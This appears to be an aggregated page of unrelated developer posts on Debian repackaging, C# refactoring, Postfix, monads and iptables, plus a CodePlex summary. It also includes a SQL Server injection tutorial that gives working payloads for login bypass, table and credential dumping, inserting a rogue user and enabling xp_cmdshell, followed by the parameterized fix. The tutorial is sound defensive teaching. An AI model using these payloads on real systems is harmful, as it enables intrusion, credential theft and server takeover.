(Quoted items are redacted elements) I am using a private repository and an currently trying to repackage some packages 3rd-party packages. I extract the package, make a few modifications (just the control files to fit with company policy - though sometimes file install locations though not in this case) and repackage (and usually rename). Normally I copy the files into a new blank debhelper project and reconstruct the package, however, with a recent one I attempting to convert and some libraries and stuff aren't linking properly (I did copy the postinst, postrm, and preinst files along with all DEDIAN files exactly), the original package worked, but my repackage doesn't, despite providing the same files in the same locations and the same postinst and preinst. So I was attempting to just modify the current packages control files (as the original package is not very good and will not list in our repository and getting a better one from the 3rd party is not an option). I also renamed the package. I did the following: dpkg-deb -R "directory" Modify DEBIAN/control dpkg-deb -b "directory" "package name I want" I did this and put it in our repository. The package shows up in the "Packages" file on the repository and running apt-get update on the client side shows the package in: /var/lib/apt/lists/"server"_"location"_Packages However when I do an apt-get install on the package name (as listed in the Packages file - I did a copy paste) it says it can't find the package. Same with an apt-cache search The Packages listings is as follow (name redacted): Package: "package name" Priority: extra Section: unknown Maintainer: "maintainer" Architecture: any Version: 1.0-lucid5 Depends: libc Filename: "directory"/"package_filename" Size: 2206292 MD5sum: "md5sum" SHA1: "sha key" SHA256: "sha256 key" Description: "description" I am running as sudo (and tried as root as well). I don't understand why apt-get won't see the package. Can you point out any flaws in what I have done, or perhaps some help on getting apt-get to properly see the package. Or perhaps an alternative. I am not even sure if this is a valid way to repackage something. Thanks.

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Refactor This (Ugly Code)!

- by Alois Kraus

Ayende has put on his blog some ugly code to refactor. First and foremost it is nearly impossible to reason about other peoples code without knowing the driving forces behind the current code. It is certainly possible to make it much cleaner when potential sources of errors cannot happen in the first place due to good design. I can see what the intention of the code is but I do not know about every brittle detail if I am allowed to reorder things here and there to simplify things. So I decided to make it much simpler by identifying the different responsibilities of the methods and encapsulate it in different classes. The code we need to refactor seems to deal with a handler after a message has been sent to a message queue. The handler does complete the current transaction if there is any and does handle any errors happening there. If during the the completion of the transaction errors occur the transaction is at least disposed. We can enter the handler already in a faulty state where we try to deliver the complete event in any case and signal a failure event and try to resend the message again to the queue if it was not inside a transaction. All is decorated with many try/catch blocks, duplicated code and some state variables to route the program flow. It is hard to understand and difficult to reason about. In other words: This code is a mess and could be written by me if I was under pressure. Here comes to code we want to refactor: private void HandleMessageCompletion( Message message, TransactionScope tx, OpenedQueue messageQueue, Exception exception, Action<CurrentMessageInformation, Exception> messageCompleted, Action<CurrentMessageInformation> beforeTransactionCommit) { var txDisposed = false; if (exception == null) { try { if (tx != null) { if (beforeTransactionCommit != null) beforeTransactionCommit(currentMessageInformation); tx.Complete(); tx.Dispose(); txDisposed = true; } try { if (messageCompleted != null) messageCompleted(currentMessageInformation, exception); } catch (Exception e) { Trace.TraceError("An error occured when raising the MessageCompleted event, the error will NOT affect the message processing"+ e); } return; } catch (Exception e) { Trace.TraceWarning("Failed to complete transaction, moving to error mode"+ e); exception = e; } } try { if (txDisposed == false && tx != null) { Trace.TraceWarning("Disposing transaction in error mode"); tx.Dispose(); } } catch (Exception e) { Trace.TraceWarning("Failed to dispose of transaction in error mode."+ e); } if (message == null) return; try { if (messageCompleted != null) messageCompleted(currentMessageInformation, exception); } catch (Exception e) { Trace.TraceError("An error occured when raising the MessageCompleted event, the error will NOT affect the message processing"+ e); } try { var copy = MessageProcessingFailure; if (copy != null) copy(currentMessageInformation, exception); } catch (Exception moduleException) { Trace.TraceError("Module failed to process message failure: " + exception.Message+ moduleException); } if (messageQueue.IsTransactional == false)// put the item back in the queue { messageQueue.Send(message); } } You can see quite some processing and handling going on there. Yes this looks like real world code one did put together to make things work and he does not trust his callbacks. I guess these are event handlers which are optional and the delegates were extracted from an event to call them back later when necessary. Lets see what the author of this code did intend: private void HandleMessageCompletion( TransactionHandler transactionHandler, MessageCompletionHandler handler, CurrentMessageInformation messageInfo, ErrorCollector errors ) { // commit current pending transaction transactionHandler.CallHandlerAndCommit(messageInfo, errors); // We have an error for a null message do not send completion event if (messageInfo.CurrentMessage == null) return; // Send completion event in any case regardless of errors handler.OnMessageCompleted(messageInfo, errors); // put message back if queue is not transactional transactionHandler.ResendMessageOnError(messageInfo.CurrentMessage, errors); } I did not bother to write the intention here again since the code should be pretty self explaining by now. I have used comments to explain the still nontrivial procedure step by step revealing the real intention about all this complex program flow. The original complexity of the problem domain does not go away but by applying the techniques of SRP (Single Responsibility Principle) and some functional style but we can abstract the necessary complexity away in useful abstractions which make it much easier to reason about it. Since most of the method seems to deal with errors I thought it was a good idea to encapsulate the error state of our current message in an ErrorCollector object which stores all exceptions in a list along with a description what the error all was about in the exception itself. We can log it later or not depending on the log level or whatever. It is really just a simple list that encapsulates the current error state. class ErrorCollector { List<Exception> _Errors = new List<Exception>(); public void Add(Exception ex, string description) { ex.Data["Description"] = description; _Errors.Add(ex); } public Exception Last { get { return _Errors.LastOrDefault(); } } public bool HasError { get { return _Errors.Count > 0; } } } Since the error state is global we have two choices to store a reference in the other helper objects (TransactionHandler and MessageCompletionHandler)or pass it to the method calls when necessary. I did chose the latter one because a second argument does not hurt and makes it easier to reason about the overall state while the helper objects remain stateless and immutable which makes the helper objects much easier to understand and as a bonus thread safe as well. This does not mean that the stored member variables are stateless or thread safe as well but at least our helper classes are it. Most of the complexity is located the transaction handling I consider as a separate responsibility that I delegate to the TransactionHandler which does nothing if there is no transaction or Call the Before Commit Handler Commit Transaction Dispose Transaction if commit did throw In fact it has a second responsibility to resend the message if the transaction did fail. I did see a good fit there since it deals with transaction failures. class TransactionHandler { TransactionScope _Tx; Action<CurrentMessageInformation> _BeforeCommit; OpenedQueue _MessageQueue; public TransactionHandler(TransactionScope tx, Action<CurrentMessageInformation> beforeCommit, OpenedQueue messageQueue) { _Tx = tx; _BeforeCommit = beforeCommit; _MessageQueue = messageQueue; } public void CallHandlerAndCommit(CurrentMessageInformation currentMessageInfo, ErrorCollector errors) { if (_Tx != null && !errors.HasError) { try { if (_BeforeCommit != null) { _BeforeCommit(currentMessageInfo); } _Tx.Complete(); _Tx.Dispose(); } catch (Exception ex) { errors.Add(ex, "Failed to complete transaction, moving to error mode"); Trace.TraceWarning("Disposing transaction in error mode"); try { _Tx.Dispose(); } catch (Exception ex2) { errors.Add(ex2, "Failed to dispose of transaction in error mode."); } } } } public void ResendMessageOnError(Message message, ErrorCollector errors) { if (errors.HasError && !_MessageQueue.IsTransactional) { _MessageQueue.Send(message); } } } If we need to change the handling in the future we have a much easier time to reason about our application flow than before. After we did complete our transaction and called our callback we can call the completion handler which is the main purpose of the HandleMessageCompletion method after all. The responsiblity o the MessageCompletionHandler is to call the completion callback and the failure callback when some error has occurred. class MessageCompletionHandler { Action<CurrentMessageInformation, Exception> _MessageCompletedHandler; Action<CurrentMessageInformation, Exception> _MessageProcessingFailure; public MessageCompletionHandler(Action<CurrentMessageInformation, Exception> messageCompletedHandler, Action<CurrentMessageInformation, Exception> messageProcessingFailure) { _MessageCompletedHandler = messageCompletedHandler; _MessageProcessingFailure = messageProcessingFailure; } public void OnMessageCompleted(CurrentMessageInformation currentMessageInfo, ErrorCollector errors) { try { if (_MessageCompletedHandler != null) { _MessageCompletedHandler(currentMessageInfo, errors.Last); } } catch (Exception ex) { errors.Add(ex, "An error occured when raising the MessageCompleted event, the error will NOT affect the message processing"); } if (errors.HasError) { SignalFailedMessage(currentMessageInfo, errors); } } void SignalFailedMessage(CurrentMessageInformation currentMessageInfo, ErrorCollector errors) { try { if (_MessageProcessingFailure != null) _MessageProcessingFailure(currentMessageInfo, errors.Last); } catch (Exception moduleException) { errors.Add(moduleException, "Module failed to process message failure"); } } } If for some reason I did screw up the logic and we need to call the completion handler from our Transaction handler we can simple add to the CallHandlerAndCommit method a third argument to the MessageCompletionHandler and we are fine again. If the logic becomes even more complex and we need to ensure that the completed event is triggered only once we have now one place the completion handler to capture the state. During this refactoring I simple put things together that belong together and came up with useful abstractions. If you look at the original argument list of the HandleMessageCompletion method I have put many things together: Original Arguments New Arguments Encapsulate Message message CurrentMessageInformation messageInfo Message message TransactionScope tx Action<CurrentMessageInformation> beforeTransactionCommit OpenedQueue messageQueue TransactionHandler transactionHandler TransactionScope tx OpenedQueue messageQueue Action<CurrentMessageInformation> beforeTransactionCommit Exception exception, ErrorCollector errors Action<CurrentMessageInformation, Exception> messageCompleted MessageCompletionHandler handler Action<CurrentMessageInformation, Exception> messageCompleted Action<CurrentMessageInformation, Exception> messageProcessingFailure The reason is simple: Put the things that have relationships together and you will find nearly automatically useful abstractions. I hope this makes sense to you. If you see a way to make it even more simple you can show Ayende your improved version as well.

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SQL Server SQL Injection from start to end

- by Mladen Prajdic

SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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Postfix virtual_alias stealing emails from virutal_mailbox

- by drewag

I am trying to setup a "catchall" address. In my virtual_mailbox table I have emails setup like so: select * from virtual_users; id | domain_id | password | email ----+-----------+---------------------------------------------- 3 | 1 | ***************** | [email protected] 4 | 1 | ***************** | [email protected] That works great on its own. When I try to add a virtual alias for the catchall: select * from virtual_aliases; id | domain_id | source | destination ----+-----------+-------------------+--------------------------- 1 | 1 | @domain.com | [email protected] Once I add that virtual_alias, all email is going to catchall and I can send any to [email protected]. Is there something I need to do to shift around the priority? This is what I am getting in my postfix logs: Oct 20 23:24:26 localhost postfix/qmgr[8002]: C23A711DF9: from=<[email protected]>, size=1712, nrcpt=1 (queue active) Oct 20 23:24:26 localhost postfix/lmtp[8148]: C23A711DF9: to=<[email protected]>, orig_to=<[email protected]>, relay=domain.com[private/dovecot-lmtp], delay=0.42, delays=0.4/0.01/0.01/0.01, dsn=2.0.0, status=sent (250 2.0.0 <[email protected]> 8V9DA4q6ZFLVHwAA0J78UA Saved) Oct 20 23:24:26 localhost postfix/qmgr[8002]: C23A711DF9: removed

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How I understood monads, part 1/2: sleepless and self-loathing in Seattle

- by Bertrand Le Roy

For some time now, I had been noticing some interest for monads, mostly in the form of unintelligible (to me) blog posts and comments saying “oh, yeah, that’s a monad” about random stuff as if it were absolutely obvious and if I didn’t know what they were talking about, I was probably an uneducated idiot, ignorant about the simplest and most fundamental concepts of functional programming. Fair enough, I am pretty much exactly that. Being the kind of guy who can spend eight years in college just to understand a few interesting concepts about the universe, I had to check it out and try to understand monads so that I too can say “oh, yeah, that’s a monad”. Man, was I hit hard in the face with the limitations of my own abstract thinking abilities. All the articles I could find about the subject seemed to be vaguely understandable at first but very quickly overloaded the very few concept slots I have available in my brain. They also seemed to be consistently using arcane notation that I was entirely unfamiliar with. It finally all clicked together one Friday afternoon during the team’s beer symposium when Louis was patient enough to break it down for me in a language I could understand (C#). I don’t know if being intoxicated helped. Feel free to read this with or without a drink in hand. So here it is in a nutshell: a monad allows you to manipulate stuff in interesting ways. Oh, OK, you might say. Yeah. Exactly. Let’s start with a trivial case: public static class Trivial { public static TResult Execute<T, TResult>( this T argument, Func<T, TResult> operation) { return operation(argument); } } This is not a monad. I removed most concepts here to start with something very simple. There is only one concept here: the idea of executing an operation on an object. This is of course trivial and it would actually be simpler to just apply that operation directly on the object. But please bear with me, this is our first baby step. Here’s how you use that thing: "some string" .Execute(s => s + " processed by trivial proto-monad.") .Execute(s => s + " And it's chainable!"); What we’re doing here is analogous to having an assembly chain in a factory: you can feed it raw material (the string here) and a number of machines that each implement a step in the manufacturing process and you can start building stuff. The Trivial class here represents the empty assembly chain, the conveyor belt if you will, but it doesn’t care what kind of raw material gets in, what gets out or what each machine is doing. It is pure process. A real monad will need a couple of additional concepts. Let’s say the conveyor belt needs the material to be processed to be contained in standardized boxes, just so that it can safely and efficiently be transported from machine to machine or so that tracking information can be attached to it. Each machine knows how to treat raw material or partly processed material, but it doesn’t know how to treat the boxes so the conveyor belt will have to extract the material from the box before feeding it into each machine, and it will have to box it back afterwards. This conveyor belt with boxes is essentially what a monad is. It has one method to box stuff, one to extract stuff from its box and one to feed stuff into a machine. So let’s reformulate the previous example but this time with the boxes, which will do nothing for the moment except containing stuff. public class Identity<T> { public Identity(T value) { Value = value; } public T Value { get; private set;} public static Identity<T> Unit(T value) { return new Identity<T>(value); } public static Identity<U> Bind<U>( Identity<T> argument, Func<T, Identity<U>> operation) { return operation(argument.Value); } } Now this is a true to the definition Monad, including the weird naming of the methods. It is the simplest monad, called the identity monad and of course it does nothing useful. Here’s how you use it: Identity<string>.Bind( Identity<string>.Unit("some string"), s => Identity<string>.Unit( s + " was processed by identity monad.")).Value That of course is seriously ugly. Note that the operation is responsible for re-boxing its result. That is a part of strict monads that I don’t quite get and I’ll take the liberty to lift that strange constraint in the next examples. To make this more readable and easier to use, let’s build a few extension methods: public static class IdentityExtensions { public static Identity<T> ToIdentity<T>(this T value) { return new Identity<T>(value); } public static Identity<U> Bind<T, U>( this Identity<T> argument, Func<T, U> operation) { return operation(argument.Value).ToIdentity(); } } With those, we can rewrite our code as follows: "some string".ToIdentity() .Bind(s => s + " was processed by monad extensions.") .Bind(s => s + " And it's chainable...") .Value; This is considerably simpler but still retains the qualities of a monad. But it is still pointless. Let’s look at a more useful example, the state monad, which is basically a monad where the boxes have a label. It’s useful to perform operations on arbitrary objects that have been enriched with an attached state object. public class Stateful<TValue, TState> { public Stateful(TValue value, TState state) { Value = value; State = state; } public TValue Value { get; private set; } public TState State { get; set; } } public static class StateExtensions { public static Stateful<TValue, TState> ToStateful<TValue, TState>( this TValue value, TState state) { return new Stateful<TValue, TState>(value, state); } public static Stateful<TResult, TState> Execute<TValue, TState, TResult>( this Stateful<TValue, TState> argument, Func<TValue, TResult> operation) { return operation(argument.Value) .ToStateful(argument.State); } } You can get a stateful version of any object by calling the ToStateful extension method, passing the state object in. You can then execute ordinary operations on the values while retaining the state: var statefulInt = 3.ToStateful("This is the state"); var processedStatefulInt = statefulInt .Execute(i => ++i) .Execute(i => i * 10) .Execute(i => i + 2); Console.WriteLine("Value: {0}; state: {1}", processedStatefulInt.Value, processedStatefulInt.State); This monad differs from the identity by enriching the boxes. There is another way to give value to the monad, which is to enrich the processing. An example of that is the writer monad, which can be typically used to log the operations that are being performed by the monad. Of course, the richest monads enrich both the boxes and the processing. That’s all for today. I hope with this you won’t have to go through the same process that I did to understand monads and that you haven’t gone into concept overload like I did. Next time, we’ll examine some examples that you already know but we will shine the monadic light, hopefully illuminating them in a whole new way. Realizing that this pattern is actually in many places but mostly unnoticed is what will enable the truly casual “oh, yes, that’s a monad” comments. Here’s the code for this article: http://weblogs.asp.net/blogs/bleroy/Samples/Monads.zip The Wikipedia article on monads: http://en.wikipedia.org/wiki/Monads_in_functional_programming This article was invaluable for me in understanding how to express the canonical monads in C# (interesting Linq stuff in there): http://blogs.msdn.com/b/wesdyer/archive/2008/01/11/the-marvels-of-monads.aspx

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IP tables gateway

- by WojonsTech

I am trying to make an iptables gateway. I ordered 3 dedicated server from my hosting company all with dual nics. One server has been given all the ip addresses and is connected directly to the internet and has its other nic connected to a switch where the other servers are all connected also. I want to setup iptables so for example the ip address 50.0.2.4 comes into my gateway server it fowards all the traffic to a private ip address using the second nic. This way the second nic can do what ever it needs and can respond back also. I also want it setup that if any of the other servers needs to download anything over the inernet it is able to do so and by using the same ip address that is used for its incomming traffic. Lastly I would like to be able to setup dns and other needed networking stuff that i maybe not thinking about.

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CodePlex Daily Summary for Thursday, April 15, 2010

CodePlex Daily Summary for Thursday, April 15, 2010New ProjectsApplication Logging Repository (ALR): The ALR is a light-weight logging framework that allows applications to log events and exceptions to a central repository.Arkane.FileProperties.DSS: Arkane.FileProperties.Dss is a library for parsing the file header of a .DSS file (as used by Olympus digital dictaphone systems) to obtain time, v...B in conTrol project: This project enables controling log-in and locking your workstation automatically, identifyng you bluetooth.DarkBook: DarkBook is a personal library project.Direct2D for Microsoft .Net: Direct2D, DirectWrite and Windows Imaging wrappers for .Net. This library allows to access Direct2D, DirectWrite and Windows Imaging Windows API f...DJ Ware: DJ Ware is an extensible music player with plugin support and innovative features to organize and explore music files. It is developed with C#, WPF...gpsMe: gpsMe is a Windows Mobile 6.x mapping solution allowing to place the user on a personnalized map. The screen requirements are VGA or WVGA but, you ...jErrorLog: jErrorLog is an error logging component for use in DotNet 2.0 or later applications. It can log error messages to any of the following: database, e...KEMET_API: Java Library (open - source). This library is a help to study egyptian hieroglyphs.Meadow: A web site project for a Swedish floorball team called Slackers. Home page built with ASP.NET 2.0, ASP.NET AJAX and SQL Server 2005.Mustang Math: Mustang Math makes it easier for young children to practice basic math facts on the computer. No keyboard or mouse required - just say the answer!...Net.Formats.oEmbed: oEmbed format implementation in c#. oEmbed is a format for allowing an embedded representation of a URL on third party sites. The simple API allows...Normlize O/R Mapper: Open source O/RM tool that participates with traditional inheritance object models as well as Hibernate/nHibernate style class shells. As I have t...N-Twill Twitter Client for VB.NET: Proyecto de cliente twitter hecho con la libreria TwitterVB2 y hecho en VB.net 2008.SIQM: Spatial Information Quality Management Toolset TIMETABLEASY Web: Under developmentTweetSharp: TweetSharp is a complete .NET library for micro-blogging platforms that allows you to write short and sweet expressions that fly to Twitter, Yammer...UISandbox: UISandbox is a sample C# source code showing how to deal with plugins requiring sandbox, when those plugins must interact with WPF application inte...WinForm SharePoint Web Part Manager: The SharePoint Web Part Manager is a WinForm tool using the SharePoint object model that enables developers and power users to add, update, delete,...WoW Character Viewer: View your World of Warcraft character (or anyone else's character), using this application. Written using Visual Basic Express 2008, then ported t...Xrns2XMod: Xrns2XMod converts from Renoise format (xrns) to mod or xm, which are more compatible formats playable from xmplay or vlc.New ReleasesArkane.FileProperties.DSS: 1.0 stable release: Executables and merge module for 1.0. (See documentation.)Bluetooth Radar: Version 2.0: Add IrDA reference for Bluetooth sending using Obex Add Project icon Add Bluetooth detection mode (Auto close application is there is no blueto...BUtil: BUtil 5.0 Alpha: Backup tasks adding.... in progressChronos WPF: Chronos v1.0 RC 1: Chronos v1.0 RC 1. Development will be feature frozen after this release, only bug fixes will be allowed. Updated nRoute assembly to v0.4 (http:...clipShow: Version 2.5: Release that addresses the canonical syntax issues in search discoverd by Tschachim (thanks again!). Also, the play list and play all menu items s...DarkBook: DarkBook alpha: Hi, here comes the alpha version of Darkbook. It has all the functions already but is still in developing. I hope it's helpful for you, at least it...DirectQ: Release 1.8.3a: Improvements to 1.8.2, which will be shortly be removed. This replaces the original 1.8.3 release from earlier today which had some late-breaking ...Effect Custom Tool for Visual Studio: Effect Custom Tool v1.1: Effect Custom Tool for Visual Studio is a visual studio 2008 extension that helps you generate c# classes from effect (*.fx) files for use with Xna...Folder Bookmarks: Folder Bookmarks 1.4.3: This is the latest version of Folder Bookmarks (1.4.3), with general improvements. It has an installer - it will create a directory 'CPascoe' in My...gpsMe: gpsMe v0.3: Required Hardware Windows Mobile 6 .Net Compact Framework 3.5 integrated gps device VGA or WVGA screen (normally works on others)IST435: Lab 4 - Enterprise Level CMS with DotNetNuke: Lab 4 - Enterprise Level CMS with DotNetNukeThis is the "starter kit" that you must base your Lab 4 on. This lab must be completed in-class.Mouse Jiggler: MouseJiggle-1.1: 1.1 release of Mouse Jiggler, now with x64 compatibility and the ability to start jiggling on run with the --jiggle or -j command-line switch.Mustang Math: MustangMath.exe: This is a quick and dirty "0.1" prototype to demonstrate the speech recognition idea. It starts asking you questions automatically on launch and k...MvcContrib: a Codeplex Foundation project: 2.0.36.0 for MVC2 (RTW): Please see the Change Log for a complete list of changes. MVC BootCamp Description of the releases: MvcContrib.Release.zip MvcContrib.dll MvcC...Nito.LINQ: Beta (v0.3): New features for this release: Several new supported platforms (see below). PDBs that are source-indexed to the appropriate CodePlex changeset. ...OpenIdPortableArea: 0.1.0.2 OpenIdPortableArea: OpenIdPortableArea.Release: DotNetOpenAuth.dll DotNetOpenAuth.xml MvcContrib.dll MvcContrib.xml OpenIdPortableArea.dll OpenIdPortableAre...PokeIn Comet Ajax Library: PokeIn Sample with Library v0.2: New version of PokeIn library with sample. v0.2 There are new features in this release and no bug detected yet.Project Tru Tiên: Elements-test V1-fix (v2): Là EL test được fix tiếp theo bản fix V1, tạm gọi đây là bản fix V2 của ELtest Trong bản fix này EL được fix thêm vụ Quest, Quest chỉnh sửa đúng t...Rule 18 - Love your clipboard: Rule 18: This is the third public beta for the first version of Rule 18. This version has been updated to support Visual Studio 2010 RTM and .NET 4.0 RTM. ...SevenZipSharp: SevenZipSharp 0.62: Added: Extraction from SFX archives. Now it is possible to unrar RAR self-extractors, unzip ZIP self-extractors, etc. Extraction from DOC, 